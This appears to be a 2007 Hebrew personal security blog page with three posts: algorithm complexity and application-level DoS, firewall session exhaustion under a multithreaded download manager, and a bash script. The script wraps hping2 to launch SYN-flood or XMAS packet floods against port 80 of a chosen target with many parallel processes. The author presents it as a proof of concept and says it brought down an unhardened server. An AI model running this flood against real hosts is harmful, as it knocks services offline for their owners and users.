Thursday, August 30, 2007

POC לסקריפט - hping2 DOS

נשאלתי פעמים רבות כיצד ניתן ליצור בדיקות של SYNFLOOD או של התקפות XMAS על שרתים ועל ציודים , אך בעיקר על שרתי WEB שהם האפליקציה הוודאית אשר פתוחה לעולם ולכן בין הקריטיות שיעמדו בעומסי התקפה מסויימים. מובן שכיום רוב מרכות הIPS והFW כבר מס.וגלות לאתר את ההתקפות הללו ולהתמודד איתן בצורה יפה. אבל שוב , ביקשתם קיבלתם

מדובר כמובן על התקפות סופר מיושנות על שכבות התקשורת מול שירותים מסויימים , במקרה הזה נדגים על PORT 80 שהוא מבואת הגישה לפרוטוקול HTTP ( אלא אם שונה ) . לא ארחיב בנוגע לסוגי ההתקפות עצמן - אני יוצא מנקודת הנחה שהן מוכרות.

הסקריפט הבא מתבסס על כלי פשוט בשם HPING אשר מאפשר לייצר פאקטים משל עצמנו. אני בשביל להתכונן לבדיקה שכזו , מוודא גם שהמכונה שלי לא מסוגלת להחזיר ACK ( קצת עבודה עם IPTABLES ) אבל הלוגיקה פשוטה . שוב הכלי הוא POC בלבד , והוכן בשביל להראות לחבר איך נראית התקפה שכזו ומה ההשפעה ( הפלנו באמצעות התקפה עם 10 מחשבים , שרת 2000 לא מוקשח עם IIS5 עליו ).

#!/bin/bash
# note : you need hping2 package installed.
# usage: ./script IP/DOMAIN | METHOD | THREADS
# methods : 1 = synflood | 2 = xmas attack
# example : ./script domain.com 1 50 .
# this will produce a synflood on domain.com with 50 threads
i=1
while [ $i -le $3 ]
do
   if [ $2 -eq 1 ]
   then
     hping2 -S -p 80 $1 & #synflood
   else
     hping2 -X -f -p 80 $1 & #xmas
   fi
   i=`expr $i + 1` #increment counter
done
if [ $1 -eq 0 -a $2 -eq 0 -a $3 -eq 0 ] # use ./script 0 0 0 to kill attack
then
   killall hping2
fi

אין מאחורי המנוע משהו מתוחכם , מדובר בפעולה פשוטה ( ואפילו חובבנית ולא תמיד עובדת ) של סקריפט BASH. היתרון היחסי בדוגמא זו , הא שניתן לבין עד כמה פשוט לייצר כלים או סקריפטים תוצרת בית בכדי לבצע פעולות שונות , אפילו זדוניות - או לחליפין לייצר אוטומציה של תהליכים שכאלו.

Labels: , ,

Tuesday, July 17, 2007

סיבוכיות אלגוריתמים וההקשר לאבטחת מידע

למי שבא מעולם הפיתוח והאפליקציה , או לכל סטודנט שנה שניה והלאה בתארי הנדסת תוכנה למיניהם - מוכר היטב מושג "סיבוכיות אלגוריתמים" אשר בעצם מציג את מורכבות הקוד וזמן ריצה היחסי לN לאותו אלגוריתם ספציפי.

חשבתי שיהיה נכון להציג כאן את אחת מדעותיי בתחום בהקשר לאבטחת מידע אפליקטיבי , וכשאני אומר את זה אני מתכוון בעיקר להגנה נגד OverFlows למיניהם ולילד שלהם שהוא - ADOS
כלומר APPLICATIVE DENIAL OF SERVICE.

אני נתקל פעמים רבות במתכנתים אשר פותרים בעיות אלגוריתמיות על ידי שימוש בלולאות רבות מאחר והגישה היא - המחשב חזק , זה יהיה מהיר גם ככה . והתנגדותי לך היא מעבר לטכנית , אלא בפן האבטחתי.

כאשר אלגוריתם איטרטיבי לינארי מבצע פעולה מסויימת , היאלוקחת פרק זמן קבוע ועל פי כך אין משתני מעבר או לולאה אשר שמורים בזיכרון - נכנס קלט ויוצא פלט וזה הכל.
לעומת זאת , באלגוריתמים בעליי סיבוכיות של N*N או לחליפין , כאלו המשתמשים בלולאות - תמיד יש משתנה בקרה כמו למשל I אשר עולה או יורד בכל ריצה עד לתנאי עצירה.

נשאלת השאלה - ומה אם אני נכנס לזיכרון , ומוצא את המשתנה ומנה את ערכו תמיד חזרה ל1 למשל , האם אין זה אומר שהלולאה תהפוך לאינסופית ? האם לא יצרתי מצב שבוא אני לאט לאט מתחיל לכלות את המשאבים במחשב ? וזה עוד לפני העובדה שככל שתוכנית רצה יותר זמן ,ויותר פעמים - יש יותר סיכוי לפגוע במידע אשר מעובד בה . כלומר - במידה וכתבתי תוכנית אשר מקבלת קלט , מכניסה ערך מסויים ומבצעת חישוב - אני בעצם מקבל רק תוצאה ... ומה אם זו תוכנית של בנק ? ומה אם הרגע שיניתי סהכ פעם אחת את החישוב משלילי לחיובי ?

ישנם כלים שונים כגון FUZZERS אשר מאפשרים לשחק עם תאי זיכרון על ידי משחק בינארי בין ערכים ולבדוק האם יש השפעה על תאים אחרים , אגב , זו אחת הדרכים היותר מאתגרות למצוא פרצות אבטחת חדשות באפליקציות , הרי ברוב המקרים מהוא EXPLOIT - אותה פיסת קוד אשר משנה ערך זיכרון לאפליקציה שרצה ברגע , ומכניסה לתוך זיכרון קיים או טווח ריק - PAYLOAD משל עצמה.

אבטחת קוד באפלקציות חשובה לא פחות מאבטחת עמדת המחשוב והשרתים או הסביבה , לצערי זהו תחום שלא רבים עוסקים בו, ואלו שעוסקים - הם בד"כ יועצים אשר משתמשים בטכניקות מוכרות או מוסכמות לפי תקנים ( FIPS 140 למשל ) אך אין אלו אנשים אשר באו משם , כתבו את אותו וירוס , שינו את אתו תא זיכרון ששיבש מערכת וכדומה , ואלו שכן - ובכן - שומרים את הידע אתם בדרך כלל , כי פעמם רבות הוא הצטבר בדרך פלילית כזו או אחרת.

Labels: ,

Saturday, June 02, 2007

ביצוע DOS פשוט לרוב מוצרי הSOHO-FW

לאחר מספר אלפי התקנות בקריירה שלי , אני תמיד זוכר שלכל מוצר טוב ככל שיהיה ישנן נקודות תורפה אשר מתגלות עם הזמן , ואלו - לעתים מופיעות אצל יותר מיצרן אחד , בשל איפלמנטציה דומה או ארכיטקטורת חומרה דומה.

בבעיה מסוג זה נתקלתי עם מכונות FORTIGATE60 ועם מכונת JUNIPER-SSG20 אשר שתיהן מכונות דומות מבחינת יכולת חומרה וכח עיבוד ASIC...

אני לא נכנס בכלל לפינה של ATERA או SBOX ואפילו מוצרים מתקדמים כגון WATCHGUARD וכדומה אשר סובלים מאותן מחלות בדיוק - אבל במוצרים אלו בגלל הארכיטקטורה - הבעיות הללו יותר צפויות מאשר אצל שתי המערכות שציינתי למעלה ( שמבחינתי מייצגים אותן היצרנים המובילים והטובים ביותר מבחינה טכנולוגית היום בשוק הFW בפרט והUTM בכלל ).

ובכן הבעיה היא כזו - FLASHGET.
נכון , אותו מוצר שהינו DOWNLOAD MANAGER יודע לבצע MULTITHREADING בשביל לאפשר להוריד יותר מהר. למי שלא מכיר , מדובר בתוכנה חינמית אשר מבצעת ניהול חכם להורדות ומאפשרת הורדה באמצעות יצירת חלוקה לפרוסות של קובץ ההורדה ומשיכתו ממספר מקומות במקביל , או במקרה הנבדק - מאותו מקום על גבי כמה סשנים.

מנסיוני , מכונת הFORTIGATE60 סוחבת 90MB+ של ROUTING בעת הצורך , וחברו - הSSG20 לא פחות בהרבה. בנוסף מכונת הFGT60 תומכת עד 200,000 סשנים במקביל , כאשר הSSG20 עד 8000 ברשיון מורחב ( הספירה שונה כמובן כי הם סופרים ESTABLISHED בלבד ). שתי המכונות מבצעות PACKET-FORWARDING וROUTING על גבי מנוע ASIC . הסיבה שאני מציין זאת היא בשל היכולת התיאורטית להגיע לקצבים וביצועים אדירים.

ובכן - לא כך הדבר הפעם.
כבדיקה הפעלתי את הFLASHGET עם בקשה MULTITHREADED DOWNLOAD מאותו אתר מרוחק , על גבי 10 פרוסות שונות . שתי המכונות הגיעו לMAX SESSIONS והתחילו להפיל תעבורה.

כן כן , שתי מכונות מדהימות קיבלו DOS בצורה מאוד מאוד קלה על ידי משתמש אחד מתוך 10 ברשת אשר סה"כ ביצע הורדה של קובץ ( בשתי המערכות הAV פעל על התעבורה כמובן ). לא הצלחתי לשחזר את התופעה במכונות גדולות יותר.

מעניין ...

אגב , יותר מאוחר הצלחתי למנוע את התופעה של הMULTITHREAD ולהגיע למצב שההורדה עוברת דרך הIPS של הFGT60 ושם מתבצעת חתיכה של SESSIONS מיותרים , וכך בעצם נפתרה הבעיה - אבל לא בצורה שקופה של OUT-OF-THE-BOX. בSSG - עדיין לא נפתר.

Labels: , ,


About

    My Name is Barry Shteiman, im a devoted tech junkie, and this is my blog.
    E: barry.shteiman -at- gmail.com
    Twitter : bshteiman

Tags & Categories

Mailing List & RSS

Stay Updated  
Add to Technorati Favorites